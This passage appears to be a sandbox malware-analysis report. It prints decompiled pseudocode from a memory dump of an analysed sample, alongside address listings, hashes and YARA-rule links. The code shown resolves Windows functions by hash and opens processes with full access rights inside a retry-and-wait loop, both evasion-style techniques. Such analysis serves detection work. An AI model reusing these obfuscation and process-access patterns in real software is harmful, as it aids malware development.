									__eflags = _t285 - _t422;
									if(_t285 > _t422) {
										 *((intOrPtr*)(_t439 + 0xa4)) = E705BF558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0xa0)) = E705BF558( *((intOrPtr*)(_t439 + 8)), _t422);
										E705C382C( *((intOrPtr*)(_t439 + 0xac)),  *((intOrPtr*)(_t439 + 0xa4)), E705BF568( *((intOrPtr*)(_t439 + 4))) - _t422);
										_t439 = _t439 + 0xc;
									}
									E705BF8C4( *((intOrPtr*)(_t439 + 8)), E705BF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t33 =  &(_t308[7]);
									 *_t33 = _t308[7] - 1;
									__eflags =  *_t33;
								}
								_t434 = _t434 - 1;
								__eflags = _t434;
								goto L20;
							}
							_t421 = 0;
							__eflags = 0;
							while(1) {
								_t392 =  *(E705BF558(_t439 + 0x28, _t421 * 4));
								__eflags = _t392 -  *_t404;
								if(_t392 ==  *_t404) {
									break;
								}
								_t421 = _t421 + 1;
								__eflags = _t421 -  *(_t439 + 0x7c);
								if(_t421 <  *(_t439 + 0x7c)) {
									continue;
								}
								goto L11;
							}
							__eflags = _t421 - 0xffffffff;
							if(_t421 == 0xffffffff) {
								goto L11;
							}
							L20:
							_t434 = _t434 + 1;
							__eflags = _t434 - _t308[1];
						} while (_t434 < _t308[1]);
						goto L21;
					}
				}
			}

0x705ba5ae
0x705ba5b0
0x705ba5bb
0x705ba5c1
0x705ba5c5
0x705ba5ca
0x705ba5d0
0x705ba5e0
0x00000000
0x705ba5e2
0x705ba5e2
0x705ba5ed
0x705ba5ed
0x705bab6b
0x705bab6d
0x705bab6e
0x705babad
0x705babb1
0x705babbf
0x705babcd
0x705babcd
0x705babb8
0x705babd3
0x705babd8
0x00000000
0x705babd8
0x705babbc
0x705babbd
0x00000000
0x705ba5f7
0x705ba5f7
0x705ba5fb
0x705ba702
0x705ba702
0x705ba707
0x705ba818
0x705ba81c
0x705ba821
0x705ba825
0x705ba94f
0x705ba951
0x705ba955
0x705ba95e
0x705ba967
0x705ba96b
0x705ba974
0x705ba97b
0x705ba97c
0x705ba980
0x705ba984
0x705ba988
0x705ba98a
0x705baaf4
0x705baaf4
0x705baafc
0x705bab14
0x705bab16
0x705bab18
0x705bab52
0x705bab52
0x705bab54
0x705bab54
0x705bab57
0x705bab72
0x705bab86
0x705bab89
0x705bab8e
0x705bab99
0x705bab9a
0x705bab9d
0x705bab9f
0x705baba8
0x00000000
0x705baba8
0x705bab59
0x705bab5d
0x705bab66
0x00000000
0x705bab66
0x705bab29
0x705bab39
0x705bab3d
0x705bab3d
0x705bab40
0x705bab43
0x705bab46
0x705bab4c
0x00000000
0x00000000
0x00000000
0x705bab4e
0x705ba992
0x705ba992
0x705ba994
0x705ba998
0x705ba99d
0x705ba99f
0x705ba9a3
0x705ba9a6
0x705ba9ae
0x705ba9b0
0x00000000
0x00000000
0x705ba9c7
0x705ba9e2
0x705ba9e4
0x705ba9f7
0x705ba9f9
0x705ba9fb
0x705baa16
0x705baa16
0x705baa1a
0x705baa1c
0x00000000
0x00000000
0x705baa1e
0x705baa21
0x705baa42
0x705baa61
0x705baa67
0x705baa6a
0x705baa6f
0x705baa70
0x705baa74
0x00000000
0x00000000
0x705baa7c
0x705baa7c
0x705baa7e
0x705baa8a
0x705baa96
0x705baaa0
0x705baaa3
0x705baaa6
0x705baaaa
0x705baab1
0x705baab5
0x705baab9
0x705baaba
0x705baabe
0x705baac3
0x705baac8
0x705baacc
0x705baad0
0x705baad6
0x705baadc
0x705baae2
0x705baae8
0x705baaed
0x705baaee
0x705baaee
0x00000000
0x705baa7e
0x00000000
0x705baa21
0x705ba9ff
0x705baa10
0x705baa12
0x705baa14
0x00000000
0x00000000
0x00000000
0x705baa14
0x705baa27
0x00000000
0x705baa27
0x705ba82b
0x705ba82e
0x705ba830
0x00000000
0x00000000
0x705ba838
0x705ba838
0x705ba83a
0x705ba83a
0x705ba84b
0x705ba84d
0x705ba850
0x00000000
0x00000000
0x705ba946
0x705ba947
0x705ba949
0x00000000
0x00000000
0x00000000
0x705ba949
0x705ba856
0x705ba859
0x705ba863
0x705ba868
0x705ba86a
0x705ba870
0x705ba877
0x705ba87b
0x705ba880
0x705ba884
0x705bacbf
0x705bacd3
0x705bacf6
0x705bacfb
0x705bacfb
0x705ba89b
0x705ba8a0
0x705ba8a0
0x705ba8a0
0x705ba8a0
0x705ba8a6
0x705ba8ab
0x705ba8ad
0x705ba8b2
0x705ba8b9
0x705ba8be
0x705ba8c0
0x705bac7d
0x705bac8e
0x705baca8
0x705bacad
0x705bacad
0x705ba8d6
0x705ba8db
0x705ba8db
0x705ba8db
0x705ba8db
0x705ba8ef
0x705ba90d
0x705ba912
0x705ba922
0x705ba93f
0x705ba941
0x705ba941
0x00000000
0x705ba859
0x705ba70f
0x705ba70f
0x705ba711
0x705ba718
0x705ba726
0x705ba728
0x705ba72b
0x705ba732
0x705ba734
0x705ba765
0x705ba774
0x705ba776
0x705ba778
0x705ba796
0x705ba798
0x705ba79a
0x705ba7ad
0x705ba7cc
0x705ba7d2
0x705ba7d5
0x705ba7ec
0x705ba808
0x705ba80a
0x705ba80a
0x705ba80a
0x705ba80a
0x705ba79a
0x00000000
0x705ba778
0x705ba738
0x705ba738
0x705ba73a
0x705ba74b
0x705ba74d
0x705ba74f
0x00000000
0x00000000
0x705ba75b
0x705ba75c
0x705ba763
0x00000000
0x00000000
0x00000000
0x705ba763
0x705ba751
0x705ba754
0x00000000
0x00000000
0x705ba80d
0x705ba80d
0x705ba80e
0x705ba80e
0x00000000
0x705ba601
0x705ba603
0x705ba603
0x705ba605
0x705ba60c
0x705ba61a
0x705ba61c
0x705ba620
0x705ba624
0x705ba626
0x705ba654
0x705ba657
0x705ba65c
0x705ba660
0x705ba665
0x705ba66c
0x705ba671
0x705ba673
0x705bac3a
0x705bac4b
0x705bac6b
0x705bac70
0x705bac70
0x705ba689
0x705ba68e
0x705ba68e
0x705ba68e
0x705ba68e
0x705ba6a0
0x705ba6a2
0x705ba6a4
0x705ba6b5
0x705ba6b5
0x705ba6bb
0x705ba6c0
0x705ba6c4
0x705ba6ca
0x705ba6d1
0x705ba6d6
0x705ba6d8
0x705babee
0x705babff
0x705bac20
0x705bac25
0x705bac25
0x705ba6ef
0x705ba6f4
0x705ba6f4
0x705ba6f4
0x705ba6f4
0x705ba6f7
0x705ba6f7
0x00000000
0x705ba6f7
0x705ba62a
0x705ba62a
0x705ba62c
0x705ba63d
0x705ba63f
0x705ba641
0x00000000
0x00000000
0x705ba64d
0x705ba64e
0x705ba652
0x00000000
0x00000000
0x00000000
0x705ba652
0x705ba643
0x705ba646
0x00000000
0x00000000
0x705ba6f8
0x705ba6f8
0x705ba6f9
0x705ba6f9
0x00000000
0x705ba605
0x705ba5fb

Strings

, xrefs: 705BABB3

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 38612e59976f66340e4cd716e81319f1bfa12f7b4b285eff24bfdde6ef01d797
Instruction ID: a9f9276fbed109130eb5c9042af96a221b826ac7e38bb77719c9ea4bcb90e44b
Opcode Fuzzy Hash: 38612e59976f66340e4cd716e81319f1bfa12f7b4b285eff24bfdde6ef01d797
Instruction Fuzzy Hash: DB125F715083059FC715EF24C886A6EBBB5EFC5610F104A2EF4AA972A0DB34FD45CB52

Uniqueness

Uniqueness Score: -1.00%

Function 705B84E4, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E705B84E4(signed int __ecx, intOrPtr __edx) {
				void* __esi;
				void* __ebp;
				signed int* _t173;
				signed int _t178;
				void* _t180;
				void* _t181;
				intOrPtr* _t188;
				signed int _t202;
				intOrPtr* _t211;
				intOrPtr* _t212;
				intOrPtr* _t217;
				signed int _t218;
				void* _t219;
				void* _t220;
				void* _t237;
				void* _t238;
				signed int* _t246;
				void* _t247;
				signed int* _t258;
				intOrPtr* _t269;
				signed int* _t277;
				intOrPtr* _t279;
				void* _t283;
				void* _t285;
				void* _t287;
				signed int _t296;
				void* _t299;
				signed int* _t308;
				intOrPtr* _t310;
				signed int _t316;
				intOrPtr _t318;
				signed int* _t324;
				signed int _t325;
				signed int _t326;
				void* _t345;
				void* _t416;
				signed int _t417;
				signed int _t424;
				signed int _t432;
				intOrPtr* _t433;
				intOrPtr* _t434;
				signed int _t437;
				signed int _t441;
				signed int _t445;
				signed int _t446;
				signed int _t447;
				signed int _t450;
				void* _t451;
				signed int _t452;
				void* _t453;
				signed int _t454;
				void* _t457;
				intOrPtr* _t458;

				_push(_t435);
				_t458 = _t457 - 0xa4;
				 *_t458 = __ecx + 0x1c;
				 *((intOrPtr*)(_t458 + 0x68)) = __edx;
				 *(_t458 + 4) = __ecx;
				 *(_t458 + 0x84) = 0;
				 *((intOrPtr*)(_t458 + 0x78)) = __ecx + 4;
				while(1) {
					_t415 =  *(_t458 + 0x6c);
					E705BB714(_t458 + 0x24,  *(_t458 + 0x6c), 0x7fffffff);
					if(E705BF56C(_t458 + 0x24) == 0) {
						goto L3;
					} else {
						 *( *(_t458 + 4) + 0x2c) = 0;
						E705BF6F0(_t458 + 0x24);
					}
					L60:
					_t318 = 0xffffffffffffffff;
					L62:
					if(_t318 != 0) {
						L65:
						return _t318;
					} else {
						if( *(_t458 + 0x84) != 0x20) {
							E705C218C(0x5dc, _t415, _t435);
							 *(_t458 + 0x84) =  *(_t458 + 0x84) + 1;
							continue;
						} else {
							_t318 = 0xffffffffffffffff;
							goto L65;
						}
					}
					L71:
					L3:
					__eflags =  *( *(_t458 + 4));
					if( *( *(_t458 + 4)) > 0) {
						_t326 = 0;
						__eflags = 0;
						do {
							 *(_t458 + 0x64) = _t326 * 4;
							_t434 = E705BF558( *(_t458 + 0x7c), _t326 * 4);
							_t435 =  *(_t458 + 0x20);
							__eflags = _t435;
							if(_t435 <= 0) {
								L11:
								_t435 =  *(_t458 + 4) + 4;
								_t283 = E705BF568( *(_t458 + 4) + 4);
								__eflags = _t283 -  *(_t458 + 0x64);
								if(_t283 >  *(_t458 + 0x64)) {
									_t451 = 4 + _t326 * 4;
									_t299 = E705BF568(_t435);
									__eflags = _t299 - _t451;
									if(_t299 > _t451) {
										 *((intOrPtr*)(_t458 + 0x9c)) = E705BF558(_t435,  *(_t458 + 0x64));
										 *((intOrPtr*)(_t458 + 0x98)) = E705BF558(_t435, _t451);
										E705C382C( *((intOrPtr*)(_t458 + 0xa4)),  *((intOrPtr*)(_t458 + 0x9c)), E705BF568(_t435) - _t451);
										_t458 = _t458 + 0xc;
									}
									E705BF8C4(_t435, E705BF568(_t435) + 0xfffffffc);
									_t308 =  *(_t458 + 4);
									 *_t308 =  *_t308 - 1;
									__eflags =  *_t308;
								}
								_t450 = E705C2F8C(0xa5eabdf8, 0x2c2324e8);
								__eflags = _t450;
								if(_t450 != 0) {
									 *_t450( *(E705BF558( *(_t458 + 4),  *(_t458 + 0x64))));
								}
								_t285 = E705BF568( *_t458);
								__eflags = _t285 -  *(_t458 + 0x64);
								if(_t285 >  *(_t458 + 0x64)) {
									_t453 = 4 + _t326 * 4;
									_t287 = E705BF568( *_t458);
									__eflags = _t287 - _t453;
									if(_t287 > _t453) {
										_t435 = E705BF558( *(_t458 + 4),  *(_t458 + 0x64));
										 *((intOrPtr*)(_t458 + 0xa0)) = E705BF558( *(_t458 + 4), _t453);
										E705C382C(_t288,  *((intOrPtr*)(_t458 + 0xa4)), E705BF568( *_t458) - _t453);
										_t458 = _t458 + 0xc;
									}
									E705BF8C4( *(_t458 + 4), E705BF568( *_t458) + 0xfffffffc);
									_t296 =  *(_t458 + 4);
									_t33 = _t296 + 0x18;
									 *_t33 =  *(_t296 + 0x18) - 1;
									__eflags =  *_t33;
								}
								_t326 = _t326 - 1;
								__eflags = _t326;
							} else {
								_t452 = 0;
								__eflags = 0;
								while(1) {
									_t310 = E705BF558(_t458 + 0x28, _t452 * 4);
									__eflags =  *_t310 -  *_t434;
									if( *_t310 ==  *_t434) {
										break;
									}
									_t452 = _t452 + 1;
									__eflags = _t452 - _t435;
									if(_t452 < _t435) {
										continue;
									} else {
										goto L11;
									}
									goto L20;
								}
								__eflags = _t452 - 0xffffffff;
								if(_t452 == 0xffffffff) {
									goto L11;
								} else {
								}
							}
							L20:
							_t326 = _t326 + 1;
							__eflags = _t326 -  *( *(_t458 + 4));
						} while (_t326 <  *( *(_t458 + 4)));
					}
					__eflags =  *(_t458 + 0x20);
					if( *(_t458 + 0x20) > 0) {
						_t325 = 0;
						__eflags = 0;
						do {
							 *(_t458 + 0x7c) = _t325 * 4;
							_t433 = E705BF558(_t458 + 0x28, _t325 * 4);
							_t258 =  *(_t458 + 4);
							_t435 =  *_t258;
							__eflags = _t435;
							if(_t435 <= 0) {
								L29:
								_t445 = E705C2F8C(0x4bcc7cba, 0x997e6547);
								__eflags = _t445;
								if(_t445 != 0) {
									_t447 =  *_t445(0x1fffff, 0,  *((intOrPtr*)(E705BF558(_t458 + 0x28,  *(_t458 + 0x7c)))));
									__eflags = _t447;
									if(_t447 != 0) {
										E705BF8C4( *(_t458 + 4), E705BF568( *_t458) + 4);
										 *(E705BF558( *(_t458 + 4), E705BF568( *_t458) + 0xfffffffc)) = _t447;
										 *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28 - 0x20)) + 0x18)) =  *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28 - 0x20)) + 0x18)) + 1;
										_t269 = E705BF558(_t458 + 0x28,  *(_t458 + 0x7c));
										 *((intOrPtr*)(_t458 + 0x70)) =  *(_t458 + 4) + 4;
										E705BF8C4( *((intOrPtr*)(_t458 + 0x74)), E705BF568( *(_t458 + 4) + 4) + 4);
										 *((intOrPtr*)(E705BF558( *((intOrPtr*)(_t458 + 0x74)), E705BF568( *((intOrPtr*)(_t458 + 0x70))) + 0xfffffffc))) =  *_t269;
										_t277 =  *(_t458 + 4);
										 *_t277 =  *_t277 + 1;
										__eflags =  *_t277;
									}
								}
							} else {
								_t446 = 0;
								__eflags = 0;
								 *(_t458 + 0x88) =  &(_t258[1]);
								while(1) {
									_t279 = E705BF558( *((intOrPtr*)(_t458 + 0x8c)), _t446 * 4);
									__eflags =  *_t279 -  *_t433;
									if( *_t279 ==  *_t433) {
										break;
									}
									_t446 = _t446 + 1;
									__eflags = _t446 - _t435;
									if(_t446 < _t435) {
										continue;
									} else {
										goto L29;
									}
									goto L32;
								}
								__eflags = _t446 - 0xffffffff;
								if(_t446 == 0xffffffff) {
									goto L29;
								} else {
								}
							}
							L32:
							_t325 = _t325 + 1;
							__eflags = _t325 -  *(_t458 + 0x20);
						} while (_t325 <  *(_t458 + 0x20));
					}
					E705BF6F0(_t458 + 0x24);
					_t173 =  *(_t458 + 4);
					__eflags = _t173[0xb];
					if(_t173[0xb] != 0) {
						_t432 =  *_t173;
						__eflags = _t432;
						if(_t432 > 0) {
							_t435 = 0;
							__eflags = 0;
							_t324 =  &(_t173[1]);
							while(1) {
								_t441 = _t435 * 4;
								_t217 = E705BF558(_t324, _t441);
								_t218 =  *(_t458 + 4);
								__eflags =  *_t217 -  *((intOrPtr*)(_t218 + 0x30));
								if( *_t217 ==  *((intOrPtr*)(_t218 + 0x30))) {
									break;
								}
								_t435 = _t435 + 1;
								__eflags = _t435 - _t432;
								if(_t435 < _t432) {
									continue;
								}
								goto L46;
							}
							__eflags = _t435 - 0xffffffff;
							if(_t435 != 0xffffffff) {
								_t219 = E705BF568( *_t458);
								__eflags = _t219 - _t441;
								if(_t219 > _t441) {
									 *((intOrPtr*)(_t458 + 0x74)) = 4 + _t435 * 4;
									_t247 = E705BF568( *_t458);
									__eflags = _t247 -  *((intOrPtr*)(_t458 + 0x74));
									if(_t247 >  *((intOrPtr*)(_t458 + 0x74))) {
										 *((intOrPtr*)(_t458 + 0x90)) = E705BF558( *(_t458 + 4), _t441);
										 *((intOrPtr*)(_t458 + 0x8c)) = E705BF558( *(_t458 + 4),  *((intOrPtr*)(_t458 + 0x74)));
										E705C382C( *((intOrPtr*)(_t458 + 0x98)),  *((intOrPtr*)(_t458 + 0x90)), E705BF568( *_t458) -  *((intOrPtr*)(_t458 + 0x74)));
										_t458 = _t458 + 0xc;
									}
									E705BF8C4( *(_t458 + 4), E705BF568( *_t458) + 0xfffffffc);
									_t424 =  *(_t458 + 4);
									_t75 = _t424 + 0x18;
									 *_t75 =  *(_t424 + 0x18) - 1;
									__eflags =  *_t75;
								}
								_t220 = E705BF568(_t324);
								__eflags = _t220 - _t441;
								if(_t220 > _t441) {
									_t435 = 4 + _t435 * 4;
									_t237 = E705BF568(_t324);
									__eflags = _t237 - _t435;
									if(_t237 > _t435) {
										_t238 = E705BF558(_t324, _t441);
										 *((intOrPtr*)(_t458 + 0x94)) = E705BF558(_t324, _t435);
										E705C382C(_t238,  *((intOrPtr*)(_t458 + 0x98)), E705BF568(_t324) - _t435);
										_t458 = _t458 + 0xc;
									}
									E705BF8C4(_t324, E705BF568(_t324) + 0xfffffffc);
									_t246 =  *(_t458 + 4);
									 *_t246 =  *_t246 - 1;
									__eflags =  *_t246;
								}
								E705BF8C4( *(_t458 + 4), E705BF568( *_t458) + 4);
								 *(E705BF558( *(_t458 + 4), E705BF568( *_t458) + 0xfffffffc)) =  *( *(_t458 + 4) + 0x2c);
								 *((intOrPtr*)( *(_t458 + 4) + 0x18)) =  *((intOrPtr*)( *(_t458 + 4) + 0x18)) + 1;
								E705BF8C4(_t324, E705BF568(_t324) + 4);
								 *((intOrPtr*)(E705BF558(_t324, E705BF568(_t324) + 0xfffffffc))) =  *((intOrPtr*)( *(_t458 + 4) + 0x30));
								 *( *(_t458 + 4)) =  *( *(_t458 + 4)) + 1;
							}
						}
					}
					L46:
					 *((intOrPtr*)(_t458 + 8)) = 0;
					 *((intOrPtr*)(_t458 + 0xc)) = 0;
					E705BF620(_t458 + 0x14, 0);
					 *((intOrPtr*)(_t458 + 0x34)) =  *((intOrPtr*)(_t458 + 0x68));
					 *((intOrPtr*)(_t458 + 0x38)) = 0;
					E705BF620(_t458 + 0x40, 0);
					_t178 =  *(_t458 + 4);
					_t416 = 0x40;
					__eflags =  *((intOrPtr*)(_t178 + 0x18)) - 0x40;
					_t417 =  <  ?  *((void*)(_t178 + 0x18)) : _t416;
					 *(_t458 + 0x80) = _t417;
					__eflags = _t417;
					if(_t417 <= 0) {
						L57:
						_t415 = E705BF558(_t458 + 0x14, 0);
						_t180 = E705C2878( *((intOrPtr*)(_t458 + 0xc)), _t179, 0x3e8);
						_t132 = _t180 - 0x80; // -128
						_t181 = _t132;
						__eflags = _t181 - 0x3f;
						_t316 =  <=  ? _t181 : _t180;
						__eflags = _t316 - 0x102;
						if(_t316 == 0x102) {
							goto L59;
						} else {
							__eflags = _t316 - 0x3f;
							if(_t316 <= 0x3f) {
								__eflags = _t316 << 2;
								 *((intOrPtr*)( *((intOrPtr*)(_t458 + 8)) + 0x2c)) =  *((intOrPtr*)(E705BF558( *(_t458 + 4), _t316 << 2)));
								_t188 = E705BF558( *(_t458 + 0x7c), _t316 << 2);
								_t415 =  *(_t458 + 4);
								 *((intOrPtr*)(_t415 + 0x30)) =  *_t188;
								_t318 =  *((intOrPtr*)(_t415 + 0x2c));
								E705BB680(_t458 + 0x34);
								E705BB680(_t458 + 8);
							} else {
								goto L59;
							}
						}
						goto L62;
					} else {
						_t454 = 0;
						__eflags = 0;
						while(1) {
							E705BCB48(_t458 + 0x4c);
							_t415 = 0;
							_t345 = _t458 + 0x4c;
							 *((char*)(_t345 + 4)) = 0;
							 *((intOrPtr*)(_t345 + 0x20)) = 0;
							__eflags = E705BC33C(_t345);
							if(__eflags != 0) {
								break;
							}
							E705BF8C4(_t458 + 0x14, E705BF568(_t458 + 0x10) + 4);
							 *((intOrPtr*)(E705BF558(_t458 + 0x14, E705BF568(_t458 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t458 + 0x4c));
							 *((intOrPtr*)(_t458 + 0xc)) =  *((intOrPtr*)(_t458 + 0xc)) + 1;
							_t202 = E705C2F8C(0xa5eabdf8, 0xf3119fba);
							__eflags = _t202;
							if(_t202 == 0) {
								_t415 =  *(_t458 + 0x6c);
								__eflags = _t415;
								if(__eflags == 0) {
									break;
								} else {
									__eflags = _t415 - 0xffffffff;
									if(__eflags != 0) {
										E705BF8C4(_t458 + 0x40, E705BF568(_t458 + 0x3c) + 4);
										 *(E705BF558(_t458 + 0x40, E705BF568(_t458 + 0x3c) + 0xfffffffc)) =  *(_t458 + 0x6c);
										 *((intOrPtr*)(_t458 + 0x4c - 0x14)) =  *((intOrPtr*)(_t458 + 0x4c - 0x14)) + 1;
										E705BCDE0(_t458 + 0x4c, __eflags);
										_t454 = _t454 + 1;
										__eflags = _t454 -  *(_t458 + 0x80);
										if(_t454 <  *(_t458 + 0x80)) {
											continue;
										} else {
											_t437 = 0;
											__eflags = 0;
											do {
												_t211 = E705BF558( *(_t458 + 4), _t437 * 4);
												_t212 = E705BF558(_t458 + 0x40, _t437 * 4);
												E705B8C14( *_t211, E705C034C(0xa5eabdf8, 0x4145240a),  *_t212, 0, 0);
												_t437 = _t437 + 1;
												__eflags = _t437 -  *(_t458 + 0x80);
											} while (_t437 <  *(_t458 + 0x80));
											goto L57;
										}
									} else {
										break;
									}
								}
							} else {
								__eflags = 0;
								_push(2);
								_push(0);
								_push(0);
								_push(_t458 + 0x6c);
								_push( *((intOrPtr*)(_t458 + 0x78)));
								_push( *((intOrPtr*)(_t458 + 0x60)));
								_push(0xffffffff);
								asm("int3");
								return _t202;
							}
							goto L71;
						}
						E705BCDE0(_t458 + 0x4c, __eflags);
						L59:
						E705BB680(_t458 + 0x34);
						E705BB680(_t458 + 8);
						goto L60;
					}
					goto L71;
				}
			}

0x705b84e4
0x705b84e8
0x705b84f1
0x705b84f7
0x705b84fb
0x705b84ff
0x705b850a
0x705b850e
0x705b8513
0x705b851b
0x705b852b
0x00000000
0x705b852d
0x705b8535
0x705b853c
0x705b853c
0x705b8a8f
0x705b8a91
0x705b8ad2
0x705b8ad4
0x705b8ae3
0x705b8aef
0x705b8ad6
0x705b8ade
0x705b8af5
0x705b8afa
0x00000000
0x705b8ae0
0x705b8ae2
0x00000000
0x705b8ae2
0x705b8ade
0x00000000
0x705b8546
0x705b854a
0x705b854d
0x705b8553
0x705b8553
0x705b8555
0x705b855c
0x705b856a
0x705b856c
0x705b8570
0x705b8572
0x705b859e
0x705b85a2
0x705b85a7
0x705b85ac
0x705b85b0
0x705b85b4
0x705b85bb
0x705b85c0
0x705b85c2
0x705b8b51
0x705b8b60
0x705b8b7f
0x705b8b84
0x705b8b84
0x705b85d5
0x705b85da
0x705b85de
0x705b85de
0x705b85de
0x705b85ef
0x705b85f1
0x705b85f3
0x705b8604
0x705b8604
0x705b8609
0x705b860e
0x705b8612
0x705b8617
0x705b861e
0x705b8623
0x705b8625
0x705b8b13
0x705b8b1f
0x705b8b39
0x705b8b3e
0x705b8b3e
0x705b863b
0x705b8640
0x705b8644
0x705b8644
0x705b8644
0x705b8644
0x705b8647
0x705b8647
0x705b8574
0x705b8576
0x705b8576
0x705b8578
0x705b8584
0x705b858b
0x705b858d
0x00000000
0x00000000
0x705b8599
0x705b859a
0x705b859c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x705b859c
0x705b858f
0x705b8592
0x00000000
0x00000000
0x705b8594
0x705b8592
0x705b8648
0x705b864c
0x705b864d
0x705b864d
0x705b8555
0x705b8655
0x705b865a
0x705b8660
0x705b8660
0x705b8662
0x705b8669
0x705b8677
0x705b8679
0x705b867d
0x705b867f
0x705b8681
0x705b86bc
0x705b86cb
0x705b86cd
0x705b86cf
0x705b86ed
0x705b86ef
0x705b86f1
0x705b8703
0x705b8721
0x705b872a
0x705b872d
0x705b873b
0x705b874c
0x705b876a
0x705b876c
0x705b8770
0x705b8770
0x705b8770
0x705b86f1
0x705b8683
0x705b8687
0x705b8687
0x705b868c
0x705b8693
0x705b86a2
0x705b86a9
0x705b86ab
0x00000000
0x00000000
0x705b86b7
0x705b86b8
0x705b86ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x705b86ba
0x705b86ad
0x705b86b0
0x00000000
0x00000000
0x705b86b2
0x705b86b0
0x705b8772
0x705b8772
0x705b8773
0x705b8773
0x705b8662
0x705b8781
0x705b8786
0x705b878a
0x705b878e
0x705b8794
0x705b8796
0x705b8798
0x705b87a2
0x705b87a2
0x705b87a4
0x705b87a7
0x705b87a9
0x705b87b1
0x705b87b8
0x705b87bc
0x705b87bf
0x00000000
0x00000000
0x705b88bb
0x705b88bc
0x705b88be
0x00000000
0x00000000
0x00000000
0x705b88be
0x705b87c5
0x705b87c8
0x705b87d1
0x705b87d6
0x705b87d8
0x705b87e4
0x705b87e8
0x705b87ed
0x705b87f1
0x705b8bce
0x705b8be2
0x705b8c04
0x705b8c09
0x705b8c09
0x705b8807
0x705b880c
0x705b8810
0x705b8810
0x705b8810
0x705b8810
0x705b8815
0x705b881a
0x705b881c
0x705b8820
0x705b8827
0x705b882c
0x705b882e
0x705b8b8f
0x705b8b9e
0x705b8bb7
0x705b8bbc
0x705b8bbc
0x705b8841
0x705b8846
0x705b884a
0x705b884a
0x705b884a
0x705b885c
0x705b887d
0x705b8885
0x705b8893
0x705b88b1
0x705b88b7
0x705b88b7
0x705b87c8
0x705b8798
0x705b88c4
0x705b88c6
0x705b88ca
0x705b88d3
0x705b88de
0x705b88e2
0x705b88eb
0x705b88f0
0x705b88f6
0x705b88f7
0x705b88fb
0x705b88ff
0x705b8906
0x705b8908
0x705b8a48
0x705b8a59
0x705b8a60
0x705b8a67
0x705b8a67
0x705b8a6a
0x705b8a6d
0x705b8a70
0x705b8a76
0x00000000
0x705b8a78
0x705b8a78
0x705b8a7b
0x705b8a94
0x705b8aac
0x705b8aaf
0x705b8ab4
0x705b8abe
0x705b8ac1
0x705b8ac4
0x705b8acd
0x00000000
0x00000000
0x00000000
0x705b8a7b
0x00000000
0x705b890e
0x705b8910
0x705b8910
0x705b8912
0x705b8916
0x705b891b
0x705b891d
0x705b8921
0x705b8924
0x705b892c
0x705b892e
0x00000000
0x00000000
0x705b8945
0x705b8960
0x705b8962
0x705b8970
0x705b8975
0x705b8977
0x705b8994
0x705b8998
0x705b899a
0x00000000
0x705b899c
0x705b899c
0x705b899f
0x705b89c0
0x705b89df
0x705b89e5
0x705b89e8
0x705b89ed
0x705b89ee
0x705b89f5
0x00000000
0x705b89fb
0x705b89fd
0x705b89fd
0x705b89ff
0x705b8a0b
0x705b8a17
0x705b8a39
0x705b8a3e
0x705b8a3f
0x705b8a3f
0x00000000
0x705b89ff
0x00000000
0x00000000
0x00000000
0x705b899f
0x705b8979
0x705b8979
0x705b897f
0x705b8981
0x705b8982
0x705b8983
0x705b8984
0x705b8988
0x705b898c
0x705b898e
0x705b898f
0x705b898f
0x00000000
0x705b8977
0x705b89a5
0x705b8a7d
0x705b8a81
0x705b8a8a
0x00000000
0x705b8a8a
0x00000000
0x705b8908

Strings

, xrefs: 705B8AD6

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 5e405be33b96104e03619b50315131ec1c5882131a8e07d73654da68cb1975cf
Instruction ID: af3a29078b579a10e8168c235d79651128f6ed18be38eda1a2e3b279da2406e6
Opcode Fuzzy Hash: 5e405be33b96104e03619b50315131ec1c5882131a8e07d73654da68cb1975cf
Instruction Fuzzy Hash: 68125B71608345AFC714EF24C985A6EBBF5AFD5600F10492EF5AA972A0DB38FD04CB52

Uniqueness

Uniqueness Score: -1.00%

Function 705C92DC, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E705C92DC(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				signed int _t250;
				signed char _t251;
				signed char* _t254;
				char _t255;
				signed short _t256;
				char _t257;
				signed short _t260;
				signed int _t261;
				signed int _t262;
				void* _t264;
				void* _t272;
				void* _t273;
				signed short* _t274;
				signed char _t275;
				signed int _t277;
				signed int _t278;
				void* _t282;
				signed int _t288;
				unsigned int _t290;
				signed int _t292;
				signed int _t293;
				signed int _t294;
				signed int _t295;
				unsigned int _t296;
				unsigned int _t297;
				signed int _t299;
				unsigned int _t301;
				signed char _t302;
				signed int _t304;
				signed char _t307;
				signed char _t308;
				signed int _t309;
				void* _t312;
				void* _t313;
				signed int _t314;
				signed int _t316;
				signed int _t319;
				signed int _t321;
				signed int _t338;
				signed int _t339;
				signed int _t343;
				signed int _t345;
				unsigned int* _t346;
				unsigned int _t354;
				signed int _t355;
				void* _t357;
				signed int _t364;
				signed int _t366;
				signed int _t383;
				signed int _t388;
				signed int _t391;
				signed int _t395;
				signed int _t396;
